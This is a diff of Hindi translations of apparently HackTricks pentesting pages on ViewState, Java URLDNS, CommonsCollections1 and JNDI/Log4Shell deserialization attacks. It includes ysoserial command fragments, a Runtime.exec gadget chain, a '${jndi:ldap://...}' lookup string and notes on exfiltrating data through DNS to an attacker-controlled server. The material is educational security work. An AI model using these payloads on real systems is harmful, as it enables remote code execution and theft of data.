जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा गया** हो, तो आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं है** बल्कि इन पैरामीटर को **प्रदान करना होगा**:
|
||||
जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा जाता** है, तो आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं है** बल्कि इन पैरामीटरों की आवश्यकता है:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
|
||||
|
||||
इसमें यह ज्ञात नहीं है कि क्या पैरामीटर MAC के साथ सुरक्षित है। तब, मान शायद एन्क्रिप्टेड है और आपको **अपनी पेलोड को एन्क्रिप्ट करने के लिए मशीन की आवश्यकता होगी** ताकि इस कमजोरियों का लाभ उठाया जा सके।
|
||||
इसमें यह ज्ञात नहीं है कि क्या पैरामीटर MAC के साथ सुरक्षित है। तब, मान शायद एन्क्रिप्टेड है और आपको **अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की आवश्यकता होगी** ताकि इस कमजोरियों का लाभ उठाया जा सके।
|
||||
|
||||
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकासाधीन है...**
|
||||
|
||||
**.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकृत** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल जांचता है** कि **`__VIEWSTATEENCRYPTED`** पैरामीटर अनुरोध में **मौजूद है**। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।**
|
||||
|
||||
इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है।
|
||||
इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया जा सकता है, जिससे ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE किया जा सके।
|
||||
|
||||
- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC सत्यापन त्रुटि लौटाएगा और हमला विफल हो जाएगा।
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false हों
|
||||
### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false पर हों
|
||||
|
||||
हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET ढांचे के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
|
||||
```xml
|
||||
@ -124,7 +124,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
जैसे पिछले में **मान एन्क्रिप्टेड है।** फिर, एक **मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता है।**
|
||||
जैसे कि पिछले में **मान एन्क्रिप्टेड है।** फिर, एक **मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता है।**
|
||||
|
||||
आप कुंजी खोजने के लिए [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करने की कोशिश कर सकते हैं:
|
||||
```
|
||||
@ -151,22 +151,22 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इस पर अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं।
|
||||
ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं।
|
||||
|
||||
### परीक्षण मामला 6 – ViewStateUserKeys का उपयोग किया जा रहा है
|
||||
|
||||
**ViewStateUserKey** प्रॉपर्टी का **CSRF हमले** के खिलाफ **रक्षा** के लिए उपयोग किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
|
||||
आपको पेलोड को सही ढंग से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है:
|
||||
**ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **रक्षा** करने के लिए किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
|
||||
आपको पेलोड को सही तरीके से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### सफल शोषण का परिणाम <a href="#poc" id="poc"></a>
|
||||
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
|
||||
|
||||
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलता** से काम करता है, तो सर्वर “**500 आंतरिक सर्वर त्रुटि**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**इस पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है।
|
||||
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलता** से काम करता है, तो सर्वर “**500 Internal server error**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**इस पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है।
|
||||
|
||||
[यहां आगे की जानकारी के लिए जांचें](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
|
@ -11,7 +11,7 @@ public final class URL implements java.io.Serializable {
|
||||
इस क्लास का **अजीब व्यवहार** है। दस्तावेज़ से: “**दो होस्ट को समान माना जाता है यदि दोनों होस्ट नामों को समान IP पतों में हल किया जा सके**।”\
|
||||
फिर, हर बार जब एक URL ऑब्जेक्ट **`equals`** या **`hashCode`** में से **किसी भी** फ़ंक्शन को कॉल करता है, तो **IP पता** प्राप्त करने के लिए एक **DNS अनुरोध** **भेजा** जाएगा।
|
||||
|
||||
**`hashCode`** फ़ंक्शन को एक **URL** ऑब्जेक्ट से **कॉल करना** काफी आसान है, बस इस ऑब्जेक्ट को एक `HashMap` में डालना पर्याप्त है जिसे डीसिरियलाइज़ किया जाने वाला है। इसका कारण यह है कि **`readObject`** फ़ंक्शन के अंत में `HashMap` से यह कोड निष्पादित होता है:
|
||||
**`hashCode`** फ़ंक्शन को एक **URL** ऑब्जेक्ट से **कॉल करना** काफी आसान है, बस इस ऑब्जेक्ट को एक `HashMap` के अंदर डालना है जिसे डीसिरियलाइज़ किया जाने वाला है। इसका कारण यह है कि **`HashMap`** के **`readObject`** फ़ंक्शन के अंत में यह कोड निष्पादित होता है:
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
@ -21,14 +21,14 @@ for (int i = 0; i < mappings; i++) {
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
यह **चल रहा है** `putVal` को `HashMap` के अंदर हर मान के साथ **निष्पादित** करने के लिए। लेकिन, हर मान के साथ `hash` को कॉल करना अधिक प्रासंगिक है। यह `hash` फ़ंक्शन का कोड है:
|
||||
यह **चल रहा है** `putVal` को `HashMap` के अंदर हर मान के साथ **निष्पादित** करने के लिए। लेकिन, अधिक प्रासंगिक है `hash` को हर मान के साथ कॉल करना। यह `hash` फ़ंक्शन का कोड है:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
जैसा कि आप देख सकते हैं, **जब डीसिरियलाइज किया जाता है** एक **`HashMap`** को, तो फ़ंक्शन `hash` **हर ऑब्जेक्ट के साथ** **निष्पादित** होने जा रहा है और **`hash`** निष्पादन के **दौरान** **यह ऑब्जेक्ट का `.hashCode()` निष्पादित करेगा**। इसलिए, यदि आप **एक `HashMap`** **जिसमें** एक **URL** ऑब्जेक्ट है, **डीसिरियलाइज करते हैं**, तो **URL ऑब्जेक्ट** **`.hashCode()`** को **निष्पादित करेगा**।
|
||||
जैसा कि आप देख सकते हैं, **जब डीसिरियलाइज़ किया जाता है** एक **`HashMap`** को, तो फ़ंक्शन `hash` **हर ऑब्जेक्ट के साथ** **निष्पादित** होने जा रहा है और **`hash`** निष्पादन के **दौरान** **ऑब्जेक्ट का `.hashCode()`** **निष्पादित** किया जाएगा। इसलिए, यदि आप **एक `HashMap`** **जिसमें** एक **URL** ऑब्जेक्ट है, **डीसिरियलाइज़** करते हैं, तो **URL ऑब्जेक्ट** **`.hashCode()`** **निष्पादित** करेगा।
|
||||
|
||||
अब, चलिए `URLObject.hashCode()` के कोड पर नज़र डालते हैं:
|
||||
```java
|
||||
@ -53,13 +53,13 @@ h += protocol.hashCode();
|
||||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
```
|
||||
आप देख सकते हैं कि एक `getHostAddress` डोमेन पर निष्पादित किया जाता है, **DNS क्वेरी लॉन्च** कर रहा है।
|
||||
आप देख सकते हैं कि `getHostAddress` डोमेन पर निष्पादित किया जाता है, **एक DNS क्वेरी लॉन्च करते हुए**।
|
||||
|
||||
इसलिए, इस वर्ग का **दुरुपयोग** किया जा सकता है ताकि **DNS क्वेरी लॉन्च** की जा सके और **दर्शाने** के लिए कि **डिसेरियलाइजेशन** संभव है, या यहां तक कि **जानकारी निकालने** के लिए (आप एक कमांड निष्पादन के आउटपुट को उपडोमेन के रूप में जोड़ सकते हैं)।
|
||||
इसलिए, इस वर्ग का **दुरुपयोग** किया जा सकता है ताकि **DNS क्वेरी लॉन्च** की जा सके **यह प्रदर्शित करने के लिए** कि **डिसेरियलाइजेशन** संभव है, या यहां तक कि **जानकारी निकालने** के लिए (आप एक कमांड निष्पादन के आउटपुट को उपडोमेन के रूप में जोड़ सकते हैं)।
|
||||
|
||||
### URLDNS पेलोड कोड उदाहरण
|
||||
|
||||
आप [URDNS पेलोड कोड ysoserial से यहाँ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) पा सकते हैं। हालाँकि, इसे कोड करना समझने में आसान बनाने के लिए मैंने अपना खुद का PoC बनाया (जो ysoserial से आधारित है):
|
||||
आप [ysoserial से URDNS पेलोड कोड यहाँ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) पा सकते हैं। हालाँकि, इसे कोड करना समझने में आसान बनाने के लिए मैंने अपना खुद का PoC बनाया (जो ysoserial से आधारित है):
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
@ -165,12 +165,12 @@ return null;
|
||||
|
||||

|
||||
|
||||
हालांकि इसे "मैनुअल परीक्षण" कहा जाता है, यह काफी **स्वचालित** है। यह स्वचालित रूप से जांच करेगा कि **डीसिरियलाइज़ेशन** **किसी भी ysoserial पेलोड** के लिए **संवेदनशील** है या नहीं, वेब सर्वर पर मौजूद पुस्तकालयों की जांच करके और संवेदनशील वाले को हाइलाइट करेगा। **संवेदनशील पुस्तकालयों** की **जांच** करने के लिए आप **Javas Sleeps**, **CPU** खपत के माध्यम से **sleeps**, या पहले उल्लेखित **DNS** का उपयोग करने का चयन कर सकते हैं।
|
||||
हालांकि इसे "मैनुअल परीक्षण" कहा जाता है, यह काफी **स्वचालित** है। यह स्वचालित रूप से जांच करेगा कि **डीसिरियलाइजेशन** **किसी भी ysoserial पेलोड** के लिए **संवेदनशील** है, वेब सर्वर पर मौजूद पुस्तकालयों की जांच करेगा और संवेदनशील वाले को हाइलाइट करेगा। **संवेदनशील पुस्तकालयों** की **जांच** करने के लिए आप **Javas Sleeps**, **CPU** खपत के माध्यम से **sleeps**, या पहले उल्लेखित **DNS** का उपयोग करने का चयन कर सकते हैं।
|
||||
|
||||
**एक्सप्लॉइटिंग**
|
||||
|
||||
एक बार जब आप एक संवेदनशील पुस्तकालय की पहचान कर लेते हैं, तो आप अनुरोध को _Exploiting Tab_ में भेज सकते हैं।\
|
||||
इस टैब में आपको फिर से **इंजेक्शन पॉइंट** का **चयन** करना होगा, और **पेलोड** बनाने के लिए **संवेदनशील पुस्तकालय** और **कमांड** लिखना होगा। फिर, बस उपयुक्त **हमला** बटन दबाएं।
|
||||
इस टैब में आपको फिर से **इंजेक्शन पॉइंट** का **चयन** करना होगा, और जिस **संवेदनशील पुस्तकालय** के लिए आप एक पेलोड बनाना चाहते हैं, और **कमांड** लिखना होगा। फिर, बस उपयुक्त **हमला** बटन दबाएं।
|
||||
|
||||

|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
पोस्ट चेक करें:
|
||||
पोस्ट देखें:
|
||||
|
||||
- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
@ -45,11 +45,11 @@ lazyMap.get("anything");
|
||||
यदि आपको जावा डेसिरियलाइजेशन पेलोड के बारे में कुछ नहीं पता है, तो यह समझना मुश्किल हो सकता है कि यह कोड कैलकुलेटर को क्यों चलाएगा।
|
||||
|
||||
सबसे पहले, आपको यह जानने की आवश्यकता है कि **Transformer in Java** कुछ ऐसा है जो **एक क्लास को प्राप्त करता है** और **इसे एक अलग क्लास में बदलता है**।\
|
||||
यह जानना भी दिलचस्प है कि यहाँ **executed** हो रहा **payload** **equivalent** है:
|
||||
यह जानना भी दिलचस्प है कि यहाँ **executed** हो रहा **payload** **के बराबर** है:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
या **और अधिक सटीक रूप से**, अंत में क्या निष्पादित किया जाएगा:
|
||||
या **और सटीक रूप से**, अंत में क्या निष्पादित किया जाएगा:
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
@ -124,11 +124,11 @@ object = iTransformers[i].transform(object);
|
||||
return object;
|
||||
}
|
||||
```
|
||||
तो, याद रखें कि **factory** के अंदर हमने **`chainedTransformer`** को सहेजा था और **`transform`** फ़ंक्शन के अंदर हम **सभी उन ट्रांसफार्मर्स को चेन में ले जा रहे हैं** और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि **प्रत्येक ट्रांसफार्मर `object`** **को इनपुट के रूप में उपयोग कर रहा है** और **object अंतिम निष्पादित ट्रांसफार्मर से आउटपुट है**। इसलिए, **सभी ट्रांसफॉर्म चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं**।
|
||||
तो, याद रखें कि **factory** के अंदर हमने **`chainedTransformer`** को सहेजा था और **`transform`** फ़ंक्शन के अंदर हम **सभी उन ट्रांसफार्मर्स को चेन में जा रहे हैं** और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि **प्रत्येक ट्रांसफार्मर `object`** **को इनपुट के रूप में उपयोग कर रहा है** और **object अंतिम निष्पादित ट्रांसफार्मर से आउटपुट है**। इसलिए, **सभी ट्रांसफॉर्म चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं**।
|
||||
|
||||
### सारांश
|
||||
|
||||
अंत में, यह देखते हुए कि lazyMap कैसे get विधि के अंदर चेन किए गए ट्रांसफार्मर्स को प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:
|
||||
अंत में, यह देखते हुए कि lazyMap कैसे चेन किए गए ट्रांसफार्मर्स को get विधि के अंदर प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:
|
||||
```java
|
||||
Object value = "someting";
|
||||
|
||||
@ -153,11 +153,11 @@ _ध्यान दें कि `value` प्रत्येक ट्रा
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
यहाँ **गैजेट्स** को समझाया गया था जो **ComonsCollections1** पेलोड के लिए उपयोग किए जाते हैं। लेकिन यह छोड़ दिया गया है **कि यह सब कैसे शुरू होता है और यह कैसे निष्पादित होता है**। आप [यहाँ देख सकते हैं कि **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), इस पेलोड को निष्पादित करने के लिए, एक `AnnotationInvocationHandler` ऑब्जेक्ट का उपयोग करता है क्योंकि **जब यह ऑब्जेक्ट डीसिरियलाइज होता है**, यह `payload.get()` फ़ंक्शन को **निष्पादित** करेगा जो **पूरे पेलोड को निष्पादित करेगा**।
|
||||
यहाँ **गैजेट्स** के बारे में **ComonsCollections1** पेलोड के लिए समझाया गया था। लेकिन यह छोड़ दिया गया है **कि यह सब कैसे शुरू होता है और यह कैसे निष्पादित होता है**। आप [यहाँ देख सकते हैं कि **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), इस पेलोड को निष्पादित करने के लिए, एक `AnnotationInvocationHandler` ऑब्जेक्ट का उपयोग करता है क्योंकि **जब यह ऑब्जेक्ट डीसिरियलाइज होता है**, यह **payload.get()** फ़ंक्शन को **निष्पादित** करेगा जो **पूरे पेलोड को निष्पादित करेगा**।
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
यह पेलोड **यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह निष्पादित होने पर एक स्लीप करेगा**।
|
||||
यह पेलोड **यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह यदि कमजोर है तो एक स्लीप निष्पादित करेगा**।
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -53,7 +53,7 @@ CORBA (Common Object Request Broker Architecture) एक **Interoperable Object
|
||||
|
||||
### RMI Context
|
||||
|
||||
RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक भिन्न है। CORBA की तरह, मनमाने वर्ग डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।
|
||||
RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक अलग है। CORBA की तरह, मनमाने क्लास डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।
|
||||
|
||||
### LDAP
|
||||
|
||||
@ -61,12 +61,12 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
||||
एक **खोज** एक URL का उपयोग करेगी जैसे `ldap://localhost:389/o=JNDITutorial` JNDITutorial वस्तु को LDAP सर्वर से खोजने के लिए और **इसके गुणों को पुनर्प्राप्त करने के लिए**।\
|
||||
एक **लुकअप** **नामकरण सेवाओं** के लिए है क्योंकि हम **जो कुछ भी एक नाम से बंधा है** उसे प्राप्त करना चाहते हैं।
|
||||
|
||||
यदि LDAP खोज को **SearchControls.setReturningObjFlag() के साथ `true` के साथ सक्रिय किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा**।
|
||||
यदि LDAP खोज को **SearchControls.setReturningObjFlag() के साथ `true` के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा**।
|
||||
|
||||
इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं।\
|
||||
एक **हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश करके** जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो **दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी**)। इस पर दुरुपयोग करने का एक और तरीका होगा **LDAP खोज में एक MitM हमला करना** उदाहरण के लिए।
|
||||
|
||||
यदि आप **एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं**, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।
|
||||
यदि आप **एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं**, तो आप उस LDAP को नियंत्रित कर सकते हैं जो खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।
|
||||
|
||||
#### Deserialization exploit
|
||||
|
||||
@ -83,13 +83,13 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
||||
|
||||
## Log4Shell Vulnerability
|
||||
|
||||
यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह [**विशेष सिंटैक्स**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) का समर्थन करता है जो `${prefix:name}` के रूप में है जहाँ `prefix` विभिन्न [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) में से एक है जहाँ `name` का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, `${java:version}` वर्तमान में चल रही Java संस्करण है।
|
||||
यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह [**विशेष सिंटैक्स**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) का समर्थन करती है जो `${prefix:name}` के रूप में है जहाँ `prefix` विभिन्न [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) में से एक है जहाँ `name` का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, `${java:version}` वर्तमान में चल रही Java संस्करण है।
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ने `jndi` लुकअप सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से `java:comp/env/` के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं **":"** शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है।
|
||||
|
||||
कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में **कोई पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और ये लुकअप Log4j के कॉन्फ़िगरेशन में और साथ ही जब पंक्तियाँ लॉग की जाती हैं, उपयोग किए जा सकते हैं।
|
||||
कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में कोई **पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और इन लुकअप का उपयोग Log4j के कॉन्फ़िगरेशन में और जब पंक्तियाँ लॉग की जाती हैं, दोनों में किया जा सकता है।
|
||||
|
||||
इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है **उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करने वाला Log4j का कमजोर संस्करण**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित) यह बहुत सामान्य था कि log4j HTTP हेडर जैसे प्राप्त किए गए लॉगिंग के लिए उपयोग किया जाता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।
|
||||
इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है **उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करने वाले Log4j का कमजोर संस्करण**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित) यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।
|
||||
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
@ -99,7 +99,7 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||||
|
||||
शुरुआत में कम रेट किया गया लेकिन बाद में महत्वपूर्ण में अपग्रेड किया गया, यह CVE एक **Denial of Service (DoS)** दोष है जो CVE-2021-44228 के लिए 2.15.0 में अधूरे सुधार के परिणामस्वरूप है। यह गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन को प्रभावित करता है, जिससे हमलावरों को तैयार पेलोड के माध्यम से DoS हमले करने की अनुमति मिलती है। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि को प्रदर्शित करता है। यह मुद्दा संस्करण 2.16.0 और 2.12.2 में संदेश लुकअप पैटर्न को हटा कर और डिफ़ॉल्ट रूप से JNDI को अक्षम करके हल किया गया है।
|
||||
